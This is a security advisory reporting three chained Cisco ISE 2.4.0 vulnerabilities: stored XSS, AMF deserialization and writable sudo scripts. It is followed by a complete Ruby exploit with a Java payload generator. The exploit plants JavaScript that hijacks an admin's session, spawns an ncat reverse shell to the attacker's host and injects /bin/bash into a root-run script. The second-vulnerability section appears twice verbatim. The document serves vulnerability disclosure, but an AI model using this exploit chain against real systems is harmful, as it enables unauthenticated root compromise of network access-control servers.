SSD Advisory – Cisco ISE Unauthenticated XSS to Privileged RCE

Vulnerabilities Summary
Cisco Identity Services Engine (ISE) contains three vulnerabilities that when exploited allow an unauthenticated attacker to achieve root privileges and execute code remotely. The first is a Stored Cross Site Scripting file upload vulnerability that allows the attacker to upload and execute html pages on victims browser. The second is an already known vulnerability Unsafe Flex AMF Java Object Deserialization CVE-2017-5641 which we used in this exploit. The third is a Privilege Escalation via Incorrect sudo File Permissions that let local attackers run code as root.
Vendor Response
“I would like to inform you that we have assigned the CVE-ID, CVE-2018-15440 for the reported XSS vulnerability.The security advisory will be accessible after the publication date (Jan,9th 2019) at the following URL:
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190109-ise-multi-xss”
CVE
CVE-2018-15440
Credit
An independent security researcher, Pedro Ribeiro, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

Affected systems
Cisco Identity Services Engine version 2.4.0
Vulnerability Details
First Vulnerability: Stored Cross Site Scripting
Attack Vector: Remote
The LiveLogSettingsServlet, available at /admin/LiveLogSettingsServlet, contains a stored cross site scripting vulnerability. The doGet() HTTP request handler takes in an Action parameter as a HTTP query variable, which can be “read” or “write”.
With the “write” parameter, it calls the writeLiveLogSettings() function which then takes several query string variables, such as Columns, Rows, Refresh_rate and Time_period. The content of these query string variables is then written to /opt/CSCOcpm/mnt/dashboard/liveAuthProps.txt, and the server responds with a 200 OK.
These parameters are not validated, and can contain any text. When the Action parameter equals “read”, the servlet will read the /opt/CSCOcpm/mnt/dashboard/liveAuthProps.txt file and display it back to the user with the Content-Type “text/html”, causing whatever was written to that file to be rendered and executed by the browser. To mount a simple attack, we can send the following request:

GET /admin/LiveLogSettingsServlet?Action=write&Columns=1&Rows=%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e&Refresh_rate=1337&Time_period=1337

Which can then be triggered with:

GET /admin/LiveLogSettingsServlet?Action=read HTTP/1.1
-----
HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Content-Length: 164
Server:
<Settings>
<Columns>
<Col>1</Col>
</Columns>
<Rows><script>alert(1)</script></Rows>
<Refresh_rate>1337</Refresh_rate>
<Time_period>1337</Time_period>
</Settings>

Second Vulnerability: Unsafe Flex AMF Java Object Deserialization
Attack Vector: Remote
Constraints: Requires authentication to the admin web interface
By sending an HTTP POST request with random data to /admin/messagebroker/amfsecure, the server will respond with a 200 OK and binary data that includes:

...Unsupported AMF version XXXXX...

Which indicates that the server has a Apache / Adobe Flex AMF (BlazeDS) endpoint at that location. The BlazeDS library version running on the server is 4.0.0.14931, which means it is vulnerable to CVE-2017-5641 [2], the description of which is stated below: “Previous versions of Apache Flex BlazeDS (4.7.2 and earlier) did not restrict which types were allowed for AMF(X) object deserialization by default. During the deserialization process code is executed that for several known types has undesired side-effects. Other, unknown types may also exhibit such behaviors. One vector in the Java standard library exists that allows an attacker to trigger possibly further exploitable Java deserialization of untrusted data. Other known vectors in third party libraries can be used to trigger remote code execution.”
This vulnerability was previously exploited in DrayTek VigorACS by Agile Information Security, as it can be seen in [3] and [4]. Please refer to that advisory and exploit, as well as [5], [6] and [7] for further details on this vulnerability.
The the exploit chain works in the same way as the previous one:
a) sends an AMF binary payload to /admin/messagebroker/amfsecure as described in [6] to trigger a Java Remote Method Protocol (JRMP) call back to the attacker
b) receives the JRMP connection with ysoserial’s JRMP listener [8]
c) calls ysoserial with the ROME payload, as a vulnerable version of Rome (1.0 RC2) is in the Java classpath of the server
d) execute ncat (the binary is on the ISE virtual appliance) and return a reverse shell running as the iseaminportal user
Second Vulnerability: Unsafe Flex AMF Java Object Deserialization
Attack Vector: Remote
Constraints: Requires authentication to the admin web interface
By sending an HTTP POST request with random data to /admin/messagebroker/amfsecure, the server will respond with a 200 OK and binary data that includes:

...Unsupported AMF version XXXXX...

Which indicates that the server has a Apache / Adobe Flex AMF (BlazeDS) endpoint at that location. The BlazeDS library version running on the server is 4.0.0.14931, which means it is vulnerable to CVE-2017-5641 [2], the description of which is stated below: “Previous versions of Apache Flex BlazeDS (4.7.2 and earlier) did not restrict which types were allowed for AMF(X) object deserialization by default. During the deserialization process code is executed that for several known types has undesired side-effects.
Other, unknown types may also exhibit such behaviors. One vector in the Java standard library exists that allows an attacker to trigger possibly further exploitable Java deserialization of untrusted data. Other known vectors in third party libraries can be used to trigger remote code execution.”
This vulnerability was previously exploited in DrayTek VigorACS by Agile Information Security, as it can be seen in [3] and [4]. Please refer to that advisory and exploit, as well as [5], [6] and [7] for further details on this vulnerability.
The the exploit chain works in the same way as the previous one:
a) sends an AMF binary payload to /admin/messagebroker/amfsecure as described in [6] to trigger a Java Remote Method Protocol (JRMP) call back to the attacker
b) receives the JRMP connection with ysoserial’s JRMP listener [8]
c) calls ysoserial with the ROME payload, as a vulnerable version of Rome (1.0 RC2) is in the Java classpath of the server
d) execute ncat (the binary is on the ISE virtual appliance) and return a reverse shell running as the iseaminportal users
Third Vulnerability: Privilege Escalation via Incorrect sudo File Permissions
Attack Vector: Local
Constraints: Requires a command shell running as the iseadminportal user
The iseadminportal user can run a variety of commands as root via sudo (output of ‘sudo -l’):

    (root) NOPASSWD: /opt/CSCOcpm/bin/resetMntDb.sh *
    (root) NOPASSWD: /opt/CSCOcpm/bin/resetMnTSessDir.sh *
    (root) NOPASSWD: /opt/CSCOcpm/bin/setdbpw.sh *
    (root) NOPASSWD: /opt/CSCOcpm/bin/sync_export.sh *
    (root) NOPASSWD: /opt/CSCOcpm/bin/sync_import.sh *
    (root) NOPASSWD: /opt/CSCOcpm/bin/partial_sync_export.sh *
    (root) NOPASSWD: /opt/CSCOcpm/bin/partial_sync_import.sh *
    (root) NOPASSWD: /opt/CSCOcpm/bin/partial_sync_cleanup.sh *
    (root) NOPASSWD: /opt/CSCOcpm/bin/ttcontrol.sh *
    (root) NOPASSWD: /opt/CSCOcpm/bin/updatewallet.sh *
    (root) NOPASSWD: /opt/CSCOcpm/bin/log-list.sh *
    (root) NOPASSWD: /opt/CSCOcpm/bin/file-info.sh *
    (root) NOPASSWD: /opt/CSCOcpm/bin/delete-log-file.sh *
    (root) NOPASSWD: /opt/CSCOcpm/bin/debug-log-config.sh *
    (root) NOPASSWD: /opt/CSCOcpm/bin/showinv.sh *
    (root) NOPASSWD: /opt/CSCOcpm/bin/isebackupcancel.sh *
    (root) NOPASSWD: /opt/CSCOcpm/bin/nssutils.sh *
    (root) NOPASSWD: /opt/CSCOcpm/bin/killsubnetscan.sh *
    (root) NOPASSWD: /opt/CSCOcpm/bin/thirdpartyguestvlan.sh *
    (root) NOPASSWD: /opt/CSCOcpm/bin/ise-3rdpty-guestvlan.sh *
    (root) NOPASSWD: /opt/CSCOcpm/mnt/bin/CheckDiskSpace.sh *
    (root) NOPASSWD: /opt/CSCOcpm/upgrade/bin/genbackup.sh *
    (root) NOPASSWD: /opt/CSCOcpm/upgrade/bin/createHCTOnPAPScript.sh *
    (root) NOPASSWD: /opt/CSCOcpm/upgrade/bin/backupHostConfigTablesOnPAP.sh *
    (root) NOPASSWD: /opt/CSCOcpm/upgrade/bin/dictionary_attribute_update.sh *
    (root) NOPASSWD: /opt/CSCOcpm/upgrade/bin/deleteguest.sh *
    (root) NOPASSWD: /opt/CSCOcpm/upgrade/bin/iseupgrade-dbexport.sh *
    (root) NOPASSWD: /opt/CSCOcpm/bin/pxgrid_backup.sh *
    (root) NOPASSWD: /opt/CSCOcpm/bin/pxgrid_restore.sh *
    (root) NOPASSWD: /opt/CSCOcpm/bin/pxgrid_sync.sh *
    (root) NOPASSWD: /opt/CSCOcpm/bin/pbis_monit.sh *
    (root) NOPASSWD: /opt/CSCOcpm/prrt/bin/FIPS_lockdown.sh *
    (root) NOPASSWD: /opt/CSCOcpm/bin/iseupgradeui.sh *
    (root) NOPASSWD: /opt/CSCOcpm/bin/show_iowait.sh *
    (root) NOPASSWD: /opt/CSCOcpm/bin/kerberosprobe.sh *
    (root) NOPASSWD: /opt/CSCOcpm/bin/sxp-servercontrol.sh *

All of the files above are writeable by the iseadminportal user. This makes it trivial to perform privilege escalation to root. All that is needed to do is to edit the files, and add a “/bin/sh” to the second and / or last line, then run the script as sudo to get a root shell.
Exploit

#!/usr/bin/ruby
=begin
Exploit for Cisco Identify Services Engine (ISE), tested on version 2.4.0.357
CVE-TODO
By Pedro Ribeiro (pedrib@gmail.com) from Agile Information Security,
and Dominik Czarnota (dominik.b.czarnota@gmail.com)
This exploit starts by abusing a stored cross scripting to deploy malicious Javascript to /admin/LiveLogSettingsServlet.
The Javascript contains a binary payload that will cause a XHR request to the AMF endpoint on the ISE server, which is vulnerable to CVE-2017-5641 (Unsafe Java AMF deserialization), leading to remote code execution as the iseadminportal user.
This AMF deserialization can only be triggered by an authenticated user, hence why the stored XSS is necessary.
The exploit will wait until the server executes the AMF deserialization payload and spawn netcat to receive a reverse shell from the server.
Once we have code execution as the unprivileged iseadminportal user, we can edit various shell script files under /opt/CSCOcpm/bin/ and run them as sudo, escalating our privileges to root.
This exploit has only been tested in Linux. The two jars described below are required for execution of the exploit, and they should be in the same directory as this script.
==
ysoserial.jar - get the latest version from https://github.com/frohoff/ysoserial/releases
acsFlex.jar - build the following code as a JAR:
import flex.messaging.io.amf.MessageBody;
import flex.messaging.io.amf.ActionMessage;
import flex.messaging.io.SerializationContext;
import flex.messaging.io.amf.AmfMessageSerializer;
import java.io.*;
public class ACSFlex {
    public static void main(String[] args) {
        Object unicastRef = generateUnicastRef(args[0], Integer.parseInt(args[1]));
        // serialize object to AMF message
        try {
            byte[] amf = new byte[0];
            amf = serialize((unicastRef));
            DataOutputStream os = new DataOutputStream(new FileOutputStream(args[2]));
            os.write(amf);
            System.out.println("Done, payload written to " + args[2]);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    public static Object generateUnicastRef(String host, int port) {
        java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
        sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
        sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
        return new sun.rmi.server.UnicastRef(liveRef);
    }
    public static byte[] serialize(Object data) throws IOException {
        MessageBody body = new MessageBody();
        body.setData(data);
        ActionMessage message = new ActionMessage();
        message.addBody(body);
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        AmfMessageSerializer serializer = new AmfMessageSerializer();
        serializer.initialize(SerializationContext.getSerializationContext(), out, null);
        serializer.writeMessage(message);
        return out.toByteArray();
    }
}
=end
require 'tmpdir'
require 'net/http'
require 'uri'
require 'openssl'
require 'base64'
class String
	def black;          "\e[30m#{self}\e[0m" end
	def red;            "\e[31m#{self}\e[0m" end
	def green;          "\e[32m#{self}\e[0m" end
	def brown;          "\e[33m#{self}\e[0m" end
	def blue;           "\e[34m#{self}\e[0m" end
	def magenta;        "\e[35m#{self}\e[0m" end
	def cyan;           "\e[36m#{self}\e[0m" end
	def gray;           "\e[37m#{self}\e[0m" end
	def bg_black;       "\e[40m#{self}\e[0m" end
	def bg_red;         "\e[41m#{self}\e[0m" end
	def bg_green;       "\e[42m#{self}\e[0m" end
	def bg_brown;       "\e[43m#{self}\e[0m" end
	def bg_blue;        "\e[44m#{self}\e[0m" end
	def bg_magenta;     "\e[45m#{self}\e[0m" end
	def bg_cyan;        "\e[46m#{self}\e[0m" end
	def bg_gray;        "\e[47m#{self}\e[0m" end
	def bold;           "\e[1m#{self}\e[22m" end
	def italic;         "\e[3m#{self}\e[23m" end
	def underline;      "\e[4m#{self}\e[24m" end
	def blink;          "\e[5m#{self}\e[25m" end
	def reverse_color;  "\e[7m#{self}\e[27m" end
end
puts ""
puts "Cisco Identity Services Engine (ISE) remote code execution as root".cyan.bold
puts "  Tested on ISE virtual appliance 2.4.0.357".cyan.bold
puts "By:".blue.bold
puts "  Pedro Ribeiro (pedrib@gmail.com) / Agile Information Security".blue.bold
puts "  Dominik Czarnota (dominik.b.czarnota@gmail.com)".blue.bold
puts ""
script_dir = File.expand_path(File.dirname(__FILE__))
ysoserial_jar = File.join(script_dir, 'ysoserial.jar')
acsflex_jar = File.join(script_dir, 'acsFlex.jar')
if (ARGV.length < 3) or not File.exist?(ysoserial_jar) or not File.exist?(acsflex_jar)
	puts "Usage: ./ISEpwn.rb <rhost> <rport> <lhost>".bold
    puts "Spawns a reverse shell from rhost to lhost"
	puts ""
	puts "NOTES:\tysoserial.jar and the included acsFlex.jar must be in this script's directory."
	puts "\tTwo random TCP ports in the range 10000-65535 are used to receive connections from the target."
	puts ""
	exit(-1)
end
# Unfortunately I couldn't find a better way to make this interactive,
# so the user has to copy and paste the python command to write to the shell script
# and execute as sudo.
# Spent hours fighting with Ruby and trying to get this without user interaction,
# hopefully some Ruby God can enlighten me on how to do it properly.
def start_nc_thread(nc_port, jrmp_pid)
  IO.popen("nc -lvkp #{nc_port.to_s} 2>&1").each do |line|
    if line.include?('Connection from')
      Process.kill("TERM", jrmp_pid)
      Process.wait(jrmp_pid)
      puts "[+] Shelly is here! Now to escalate your privileges to root, ".green.bold +
        "copy and paste the following:".green.bold
      puts %{python -c 'import os;f=open("/opt/CSCOcpm/bin/file-info.sh", "a+", 0);f.write("if [ \\"$1\\" == 1337 ];then\\n/bin/bash\\nfi\\n");f.close();os.system("sudo /opt/CSCOcpm/bin/file-info.sh 1337")'}
      puts "[+] Press enter, then interact with the root shell,".green.bold +
        " and press CTRL + C when done".green.bold
    else
      puts line
    end
  end
end
YSOSERIAL = "#{ysoserial_jar} ysoserial.exploit.JRMPListener JRMP_PORT ROME"
JS_PAYLOAD = %{<script>function b64toBlob(e,r,a){r=r||"",a=a||512;for(var t=atob(e),n=[],o=0;o<t.length;o+=a){for(var l=t.slice(o,o+a),b=new Array(l.length),h=0;h<l.length;h++)b[h]=l.charCodeAt(h);var p=new Uint8Array(b);n.push(p)}return new Blob(n,{type:r})}b64_payload="<PAYLOAD>";var xhr=new XMLHttpRequest;xhr.open("POST","https://<RHOST>/admin/messagebroker/amfsecure",!0),xhr.send(b64toBlob(b64_payload,"application/x-amf"));</script>}
rhost = ARGV[0]
rport = ARGV[1]
lhost = ARGV[2].dup.force_encoding('ASCII')
Dir.mktmpdir { |temp_dir|
  nc_port = rand(10000..65535)
  puts "[+] Picked port #{nc_port} to receive the shell".cyan.bold
  # step 1: create the AMF payload
  puts "[+] Creating AMF payload...".green.bold
  jrmp_port = rand(10000..65535)
  amf_file = temp_dir + "/payload.ser"
  system("java -jar #{acsflex_jar} #{lhost} #{jrmp_port} #{amf_file}")
  amf_payload = File.binread(amf_file)
  # step 2: start the ysoserial JRMP listener
  puts "[+] Picked port #{jrmp_port} for the JRMP server".cyan.bold
  # build the command line argument that will be executed by the server
  java = "java -cp #{YSOSERIAL.gsub('JRMP_PORT', jrmp_port.to_s)}"
  cmd = "ncat -e /bin/bash SERVER PORT".gsub("SERVER", lhost).gsub("PORT", nc_port.to_s)
  puts "[+] Sending command #{cmd}".green.bold
  java_split = java.split(' ') << cmd
  jrmp = IO.popen(java_split)
  jrmp_pid = jrmp.pid
  sleep 5
  # step 3: start the netcat reverse shell listener
  t = Thread.new{start_nc_thread(nc_port, jrmp_pid)}
  # step 4: fire the XSS payload and wait for our trap to be sprung
  js_payload = JS_PAYLOAD.gsub('<RHOST>', "#{rhost}:#{rport}").
    gsub('<PAYLOAD>', Base64.strict_encode64(amf_payload))
  uri = URI.parse("https://#{rhost}:#{rport}/admin/LiveLogSettingsServlet")
  params = {
    :Action => "write",
    :Columns => rand(1..1000).to_s,
    :Rows => js_payload,
    :Refresh_rate => rand(1..1000).to_s,
    :Time_period => rand(1..1000).to_s
  }
  uri.query = URI.encode_www_form( params )
  Net::HTTP.start(uri.host, uri.port,
                  {:use_ssl => true, :verify_mode => OpenSSL::SSL::VERIFY_NONE }) do |http|
    #http.set_debug_output($stdout)
    res = http.get(uri)
  end
  puts "[+] XSS payload sent. Waiting for an admin to take the bait...".green.bold
  begin
    t.join
  rescue Interrupt
    begin
      Process.kill("TERM", jrmp_pid)
      Process.wait(jrmp_pid)
    rescue Errno::ESRCH
      # if we try to kill a dead process we get this error
    end
    puts "Exiting..."
  end
}
exit 0

References
[1] https://www.cisco.com/c/en/us/products/collateral/security/identity-services-engine/data_sheet_c78-656174.html
[2] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5641
[3] https://github.com/pedrib/PoC/tree/master/exploits/acsPwn
[4] https://raw.githubusercontent.com/pedrib/PoC/master/advisories/draytek-vigor-acs.txt
[5] https://issues.apache.org/jira/browse/FLEX-35290
[6] http://codewhitesec.blogspot.ru/2017/04/amf.html
[7] https://github.com/mbechler/marshalsec
[8] https://github.com/frohoff/ysoserial

?

Get in touch